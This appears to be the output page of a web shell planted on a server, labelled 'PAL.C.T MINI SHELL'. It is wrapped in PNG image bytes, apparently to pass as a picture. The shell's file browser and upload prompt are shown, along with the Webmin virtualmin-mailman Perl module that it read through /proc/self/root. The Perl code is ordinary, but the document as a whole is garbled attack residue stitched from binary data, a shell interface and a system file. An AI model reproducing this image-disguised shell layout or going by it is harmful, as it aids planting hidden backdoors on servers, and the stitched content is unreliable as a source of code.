php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/virtualmin-mailman/
upload
files >> //proc/self/root/usr/libexec/webmin/virtualmin-mailman/virtualmin-mailman-lib.pl

# Functions for setting up mailman mailing lists, for a virtual domain

BEGIN { push(@INC, ".."); };
eval "use WebminCore;";
&init_config();
&foreign_require("virtual-server", "virtual-server-lib.pl");

%pconfig = &foreign_config("postfix");
if ($pconfig{'postfix_config_file'} =~ /^(.*)\//) {
        $postfix_dir = $1;
        }
else {
        $postfix_dir = "/etc/postfix";
        }
@mailman_aliases = ( "post", "admin", "bounces", "confirm", "join",
		     "leave", "owner", "request", "subscribe", "unsubscribe" );

$mailman_dir = $config{'mailman_dir'} || "/usr/local/mailman";
$mailman_var = $config{'mailman_var'} || $mailman_dir;
$newlist_cmd = "$mailman_dir/bin/newlist";
$rmlist_cmd = "$mailman_dir/bin/rmlist";
$mailman_cmd = $config{'mailman_cmd'} || "$mailman_dir/bin/mailman";
if (!-x $mailman_cmd && $config{'alt_mailman_cmd'}) {
	# Hack needed to handle CentOS 4
	$mailman_cmd = $config{'alt_mailman_cmd'};
	}
$changepw_cmd = "$mailman_dir/bin/change_pw";
$config_cmd = "$mailman_dir/bin/config_list";
$withlist_cmd = "$mailman_dir/bin/withlist";
$lists_dir = "$mailman_var/lists";
$archives_dir = "$mailman_var/archives";
$maillist_map = "relay_domains";
$maillist_file = "$postfix_dir/maillists";
$transport_map = "transport_maps";
$cgi_dir = "$mailman_dir/cgi-bin";
$icons_dir = "$mailman_dir/icons";
$mailman_config = "$mailman_var/Mailman/mm_cfg.py";
if (!-r $mailman_config) {
	$mailman_config = "$mailman_dir/Mailman/mm_cfg.py";
	}

%access = &get_module_acl();

$lists_file = "$module_config_directory/list-domains";

sub get_mailman_version
{
local $out = `$mailman_dir/bin/version 2>/dev/null </dev/null`;
if ($out =~ /version\s+(\S+)/i || $out =~ /version:\s+(\S+)/i) {
	return $1;
	}
return undef;
}

# list_lists()
# Returns a list of mailing lists and domains and descriptions
sub list_lists
{
local @rv;
local %lists;
&read_file($lists_file, \%lists);
opendir(DIR, $lists_dir);
local $f;
while($f = readdir(DIR)) {
	next if ($f eq "." || $f eq "..");
	local ($dom, $desc) = split(/\t+/, $lists{$f}, 2);
	if (!$desc && $f eq 'mailman') {
		$desc = $text{'feat_adminlist'};
		}
	push(@rv, { 'list' => $f,
		    'dom' => $dom,
		    'desc' => $desc });
	}
closedir(DIR);
return @rv;
}

# can_edit_list(&list)
sub can_edit_list
{
foreach $d (split(/\s+/, $access{'dom'})) {
	return 1 if ($d eq "*" || $d eq $_[0]->{'dom'});
	}
return 0;
}

sub mailman_check
{
return &text('feat_emailmancmd', "<tt>$mailman_cmd</tt>")
	if (!&has_command($mailman_cmd));
return &text('feat_emailman', "<tt>$mailman_dir</tt>")
	if (!-d $mailman_dir || !-d "$mailman_dir/bin");
return &text('feat_emailman2', "<tt>$mailman_var</tt>")
	if (!-d $mailman_var || !-d "$mailman_var/lists");
if ($config{'mode'} == 0) {
	# Check special postfix files
	return &text('feat_efile', "<tt>$maillist_file</tt>")
		if (!-r $maillist_file);
	local %vconfig = &foreign_config("virtual-server");
	return $text{'feat_epostfix'} if ($vconfig{'mail_system'} != 0);
	&foreign_require("postfix", "postfix-lib.pl");
	local @files = &postfix::get_maps_files(
			&postfix::get_real_value($transport_map));
	return $text{'feat_etransport'} if (!@files);
	local @files = &postfix::get_maps_files(
			&postfix::get_real_value($maillist_map));
	return $text{'feat_emaillist'} if (!@files);
	}
# Make sure the www user has a valid shell, for use with su. Not needed on
# Linux, as we can pass -s to the su command.
if ($gconfig{'os_type'} !~ /-linux$/) {
	local $user = &get_mailman_apache_user();
	local @uinfo = getpwnam($user);
	if (@uinfo && $uinfo[8] =~ /nologin/) {
		return &text('feat_emailmanuser', "<tt>$user</tt>", "<tt>$uinfo[8]</tt>");
		}
	}
return undef;
}

# create_list(name, domain, desc, language, email, pass)
# Create a new mailing list, and returns undef on success or an error
# message on failure.
sub create_list
{
local ($list, $dom, $desc, $lang, $email, $pass) = @_;
local $full_list = $list;
if ($config{'append_prefix'}) {
	$full_list .= "_".$dom;
	}

# Make sure our hostname is set properly
local $conf = &get_mailman_config();
foreach my $c ("DEFAULT_URL_HOST", "DEFAULT_EMAIL_HOST") {
	local $url = &find_value($c, $conf);
	if ($url && $url =~ /has_not_been_edited|hardy2/) {
		&save_directive($conf, $c, &get_system_hostname());
		}
	}

# Construct and call the list creation command
local @args = ( $newlist_cmd );
if ($lang) {
	push(@args, "-l", $lang);
	}
if (&get_mailman_version() < 2.1) {
	push(@args, $full_list);
	}
elsif (!$dom) {
	push(@args, $full_list);
	}
elsif ($config{'mode'} == 0) {
	push(@args, "$full_list\@lists.$dom");
	}
else {
	push(@args, "$full_list\@$dom");
	}
push(@args, $email);
push(@args, $pass);
local $cmd = join(" ", map { $_ eq '' ? '""' : quotemeta($_) } @args);
local $out = &backquote_logged("$cmd 2>&1 </dev/null");
if ($?) {
	return &text('add_ecmd', "<pre>".&html_escape($out)."</pre>");
	}

if ($dom) {
	# Save domain and description
	&lock_file($lists_file);
	&read_file($lists_file, \%lists);
	$lists{$full_list} = $dom."\t".$desc;
	&write_file($lists_file, \%lists);
	&unlock_file($lists_file);
	}

if ($config{'mode'} == 1 && $dom) {
	# Add aliases
	&virtual_server::obtain_lock_mail()
		if (defined(&virtual_server::obtain_lock_mail));
	local $a;
	foreach $a (@mailman_aliases) {
		local $virt = { 'from' => ($a eq "post" ? $list :
					   "$list-$a")."\@".$dom,
				'to' => [ "|$mailman_cmd $a $full_list" ] };
		&virtual_server::create_virtuser($virt);
		}
	# Sync alias copy virtusers, if supported
	local $d = &virtual_server::get_domain_by("dom", $dom);
	if ($d && defined(&virtual_server::sync_alias_virtuals)) {
		&virtual_server::sync_alias_virtuals($d);
		}
	&virtual_server::release_lock_mail()
		if (defined(&virtual_server::release_lock_mail));
	}
return undef;
}

# delete_list(name, domain)
sub delete_list
{
local ($list, $dom) = @_;
local $short_list = $list;
$short_list =~ s/\_\Q$dom\E$//;

# Run the remove command
local $out = &backquote_logged("$rmlist_cmd -a $list 2>&1 </dev/null");
if ($?) {
	return "<pre>$out</pre>";
	}

# Delete from domain map
&lock_file($lists_file);
&read_file($lists_file, \%lists);
delete($lists{$list});
&write_file($lists_file, \%lists);
&unlock_file($lists_file);

if ($config{'mode'} == 1) {
	# Remove aliases
	local $d = &virtual_server::get_domain_by("dom", $dom);
	&virtual_server::obtain_lock_mail($d)
		if (defined(&virtual_server::obtain_lock_mail));
	local @virts = &virtual_server::list_domain_aliases($d);
	local $a;
	foreach $a (@mailman_aliases) {
		local $vn = ($a eq "post" ? $list
					  : "$list-$a")."\@".$dom;
		local $short_vn = ($a eq "post" ? $short_list
					        : "$short_list-$a")."\@".$dom;
		local ($virt) = grep { $_->{'from'} eq $vn ||
				       $_->{'from'} eq $short_vn } @virts;
		if ($virt) {
			&virtual_server::delete_virtuser($virt);
			}
		}
	# Sync alias copy virtusers, if supported
	if (defined(&virtual_server::sync_alias_virtuals)) {
		&virtual_server::sync_alias_virtuals($d);
		}
	&virtual_server::release_lock_mail()
		if (defined(&virtual_server::release_lock_mail));
	}
}

# list_members(&list)
# Returns an array of user structures for some list
sub list_members
{
local @rv;
open(MEMS, "$mailman_dir/bin/list_members -r $_[0]->{'list'} |");
while(<MEMS>) {
	s/\r|\n//g;
	push(@rv, { 'email' => $_, 'digest' => 'n' });
	}
close(MEMS);
open(MEMS, "$mailman_dir/bin/list_members -d $_[0]->{'list'} |");
while(<MEMS>) {
	s/\r|\n//g;
	push(@rv, { 'email' => $_, 'digest' => 'y' });
	}
close(MEMS);
return sort { $a->{'email'} cmp $b->{'email'} } @rv;
}

# add_member(&member, &list)
# Add one subscriber to a list
sub add_member
{
local $temp = &transname();
local $cmd = "$mailman_dir/bin/add_members";
if ($_[0]->{'digest'} eq 'y') {
	$cmd .= " -d $temp";
	}
else {
	$cmd .= " -n $temp";
	}
if ($_[0]->{'welcome'}) {
	$cmd .= " -w ".$_[0]->{'welcome'};
	}
if ($_[0]->{'admin'}) {
	$cmd .= " -a ".$_[0]->{'admin'};
	}
$cmd .= " $_[1]->{'list'}";
open(TEMP, ">$temp");
print TEMP "$_[0]->{'email'}\n";
close(TEMP);
local $out = &backquote_logged("$cmd <$temp 2>&1");
return $? ? $out : undef;
}

# remove_member(&member, &list)
# Deletes one person from a mailing list
sub remove_member
{
local $temp = &transname();
local $cmd = "$mailman_dir/bin/remove_members -f $temp $_[1]->{'list'}";
open(TEMP, ">$temp");
print TEMP "$_[0]->{'email'}\n";
close(TEMP);
local $out = &backquote_logged("$cmd <$temp 2>&1");
return $? ? $out : undef;
}

# list_mailman_languages()
# Returns a list of all language codes know to Mailman
sub list_mailman_languages
{
local $tdir = $config{'mailman_templates'};
if (!$tdir || !-d $tdir) {
	$tdir = "$mailman_dir/templates";
	}
opendir(DIR, $tdir);
local @rv = grep { $_ !~ /^\./ &&
		   $_ !~ /\.(txt|html)$/i &&
		   -d "$tdir/$_" } readdir(DIR);
closedir(DIR);
return sort { $a cmp $b } @rv;
}

# get_mailman_config()
# Returns an array ref of mailman config options
sub get_mailman_config
{
if (!scalar(@mailman_config_cache)) {
	@mailman_config_cache = ( );
	local $lnum = 0;
	open(CONF, $mailman_config);
	while(<CONF>) {
		s/\r|\n//g;
		s/^\s*#.*$//;
		if (/^\s*(\S+)\s*=\s*'(.*)'/ ||
		    /^\s*(\S+)\s*=\s*"(.*)"/ ||
		    /^\s*(\S+)\s*=\s*\S+/) {
			push(@mailman_config_cache,
				{ 'name' => $1,
				  'value' => $2,
				  'line' => $lnum });
			}
		$lnum++;
		}
	close(CONF);
	}
return \@mailman_config_cache;
}

# find(name, &conf)
sub find
{
local ($rv) = grep { $_->{'name'} eq $_[0] } @{$_[1]};
return $rv;
}

# find_value(name, &conf)
sub find_value
{
local $rv = &find(@_);
return $rv ? $rv->{'value'} : undef;
}

# save_directive(&conf, name, value)
# Updates a setting in the mailman config
sub save_directive
{
local ($conf, $name, $value) = @_;
local $old = &find($name, $conf);
local $lref = &read_file_lines($mailman_config);
local $newline;
if (defined($value)) {
	$newline = "$name = ";
	if ($value =~ /^[0-9\.]+$/) {
		$newline .= $value;
		}
	elsif ($value =~ /'/) {
		$newline .= "\"$value\"";
		}
	else {
		$newline .= "'$value'";
		}
	}
if ($old && defined($value)) {
	# Just update
	$lref->[$old->{'line'}] = $newline;
	$old->{'value'} = $value;
	}
elsif ($old && !defined($value)) {
	# Take this value out
	splice(@$lref, $old->{'line'}, 1);
	@$conf = grep { $_ ne $old } @$conf;
	foreach my $c (@$conf) {
		$c->{'line'}-- if ($c->{'line'} > $old->{'line'});
		}
	}
elsif (!$old && defined($value)) {
	# Add a value
	push(@$conf, { 'name' => $name,
		       'value' => $value,
		       'line' => scalar(@$lref) });
	push(@$lref, $newline);
	}
&flush_file_lines($mailman_config);
}

# get_list_config(list)
# Returns the configuration for some list as a hash reference
sub get_list_config
{
local $temp = &transname();
&execute_command("$config_cmd -o $temp $_[0]");
local %rv;
open(CONFIG, $temp);
while(<CONFIG>) {
	s/\r|\n//g;
	s/^\s*#.*$//;
	if (/^\s*(\S+)\s*=\s*'(.*)'/ ||
	    /^\s*(\S+)\s*=\s*"(.*)"/ ||
	    /^\s*(\S+)\s*=\s*(\d+)/) {
		# Single value
		$rv{$1} = $2;
		}
	elsif (/^\s*(\S+)\s*=\s*\[(.*)\]/) {
		# A list of values
		local ($name, $values) = ($1, $2);
		local @values;
		while($values =~ /,?'([^']*)'(.*)/ ||
		      $values =~ /,?"([^"]*)"(.*)/ ||
		      $values =~ /,?(\d+)(.*)/) {
			push(@values, $1);
			$values = $2;
			}
		$rv{$name} = \@values;
		}
	elsif (/^\s*(\S+)\s*=\s*"""/) {
		# Multiline value
		local $name = $1;
		local $value;
		while(1) {
			local $line = <CONFIG>;
			last if (!$line || $line =~ /^"""/);
			if ($line =~ /^(.*)"""/) {
				$value .= $1;
				last;
				}
			else {
				$value .= $line;
				}
			}
		$rv{$name} = $value;
		}
	}
close(CONFIG);
return \%rv;
}

# get_mailman_apache_user([&domain])
sub get_mailman_apache_user
{
local ($d) = @_;
if ($config{'cgiuser'}) {
	return $config{'cgiuser'};
	}
elsif (defined(&virtual_server::get_apache_user)) {
	return &virtual_server::get_apache_user($d);
	}
else {
	foreach my $u ("www", "httpd", "apache") {
		if (defined(getpwnam($u))) {
			return $u;
			}
		}
	return "nobody";
	}
}

# needs_mailman_list()
# Returns 1 if a list named 'mailman' is needed and missing
sub needs_mailman_list
{
local $ver = &get_mailman_version();
if ($ver < 2.1) {
	# Older versions don't
	return 0;
	}
local @lists = &list_lists();
local ($mailman) = grep { $_->{'list'} eq 'mailman' } @lists;
if ($mailman) {
	# Already exists
	return 0;
	}
&foreign_require("init", "init-lib.pl");
if (&init::action_status("mailman") == 0) {
	# No queue runner
	return 0;
	}
return 1;
}

sub http_date
{
local @weekday = ( "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" );
local @month = ( "Jan", "Feb", "Mar", "Apr", "May", "Jun",
	   "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
local @tm = gmtime($_[0]);
return sprintf "%s, %d %s %d %2.2d:%2.2d:%2.2d GMT",
		$weekday[$tm[6]], $tm[3], $month[$tm[4]], $tm[5]+1900,
		$tm[2], $tm[1], $tm[0];
}

# get_list_config(list, [value])
# Returns either a hash ref of all list configuration values (in Python format),
# or a single value
sub get_list_config
{
my ($list, $name) = @_;
if ($name) {
	my $c = &get_list_config($list);
	return $c->{$name};
	}
else {
	my $temp = &transname();
	my %rv;
	&execute_command("$config_cmd -o ".quotemeta($temp).
			 " ".quotemeta($list));
	&open_readfile(CONFIGLIST, $temp);
	while(<CONFIGLIST>) {
		s/\r|\n//g;
		s/^\s*#.*$//;
		if (/^\s*(\S+)\s*=\s*(.*)/) {
			$rv{$1} = $2;
			}
		}
	close(CONFIGLIST);
	&unlink_file($temp);
	return \%rv;
	}
}

# save_list_config(list, name, value)
# Update a single config setting for a list. The value must be in a python
# format, like 'foo' or ['smeg', 'spod']
sub save_list_config
{
my ($list, $name, $value) = @_;
my $temp = &transname();
&open_tempfile(CONFIG, ">$temp");
&print_tempfile(CONFIG, $name." = ".$value."\n");
&close_tempfile(CONFIG);
local $out = &backquote_command("$config_cmd -i ".quotemeta($temp).
				" ".quotemeta($list)." 2>&1 </dev/null");
return $? ? $out : undef;
}

# get_mailman_webmin_url(&domain)
# Returns the correct URL for Webmin for redirects
sub get_mailman_webmin_url
{
local ($d) = @_;
local $webminurl;
if ($config{'webminurl'}) {
	$webminurl = $config{'webminurl'};
	$webminurl =~ s/\/+$//;
	}
elsif ($ENV{'SERVER_PORT'}) {
	# Running inside Webmin
	$webminurl = uc($ENV{'HTTPS'}) eq "ON" ? "https"
					       : "http";
	$webminurl .= "://$d->{'dom'}:$ENV{'SERVER_PORT'}";
	}
else {
	# From command line
	local %miniserv;
	&get_miniserv_config(\%miniserv);
	$webminurl = $miniserv{'ssl'} ? "https" : "http";
	$webminurl .= "://$d->{'dom'}:$miniserv{'port'}";
	}
return $webminurl;
}

# check_webmin_mailman_urls(&domain)
# Returns 1 if all redirects look OK, 0 if not
sub check_webmin_mailman_urls
{
my ($d) = @_;
my @ports = ( $d->{'web_port'},
	      $d->{'ssl'} ? ( $d->{'web_sslport'} ) : ( ) );
my $webminurl = &get_mailman_webmin_url($d);
foreach my $p (@ports) {
	my ($virt, $vconf) = &virtual_server::get_apache_virtual(
				$d->{'dom'}, $p);
	my @rm = &apache::find_directive_struct("RedirectMatch", $vconf);
	foreach my $p ("/cgi-bin/mailman", "/mailman") {
		my ($rm) = grep { $_->{'words'}->[0] =~ /^\Q$p\E/ } @rm;
		return 0 if (!$rm ||
			     $rm->{'words'}->[1] !~ /^\Q$webminurl\E\//);
		}
	}
return 1;
}

# fix_webmin_mailman_urls(&domain)
# Correct all mailman redirects to use current Webmin paths
sub fix_webmin_mailman_urls
{
my ($d) = @_;
my @ports = ( $d->{'web_port'},
	      $d->{'ssl'} ? ( $d->{'web_sslport'} ) : ( ) );
my $webminurl = &get_mailman_webmin_url($d);
foreach my $p (@ports) {
	my ($virt, $vconf, $conf) = &virtual_server::get_apache_virtual(
					$d->{'dom'}, $p);
	next if (!$virt);
	my @rm = &apache::find_directive("RedirectMatch", $vconf);
	foreach my $p ("/cgi-bin/mailman", "/mailman") {
		@rm = grep { !/^\Q$p\E\// } @rm;
		push(@rm, "$p/([^/\\.]*)(.cgi)?(.*) ".
			  "$webminurl/$module_name/".
			  "unauthenticated/\$1.cgi\$3");
		}
	&apache::save_directive("RedirectMatch", \@rm, $vconf, $conf);
	&flush_file_lines($virt->{'file'});
	}
&virtual_server::register_post_action(\&virtual_server::restart_apache);
return undef;
}

1;

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`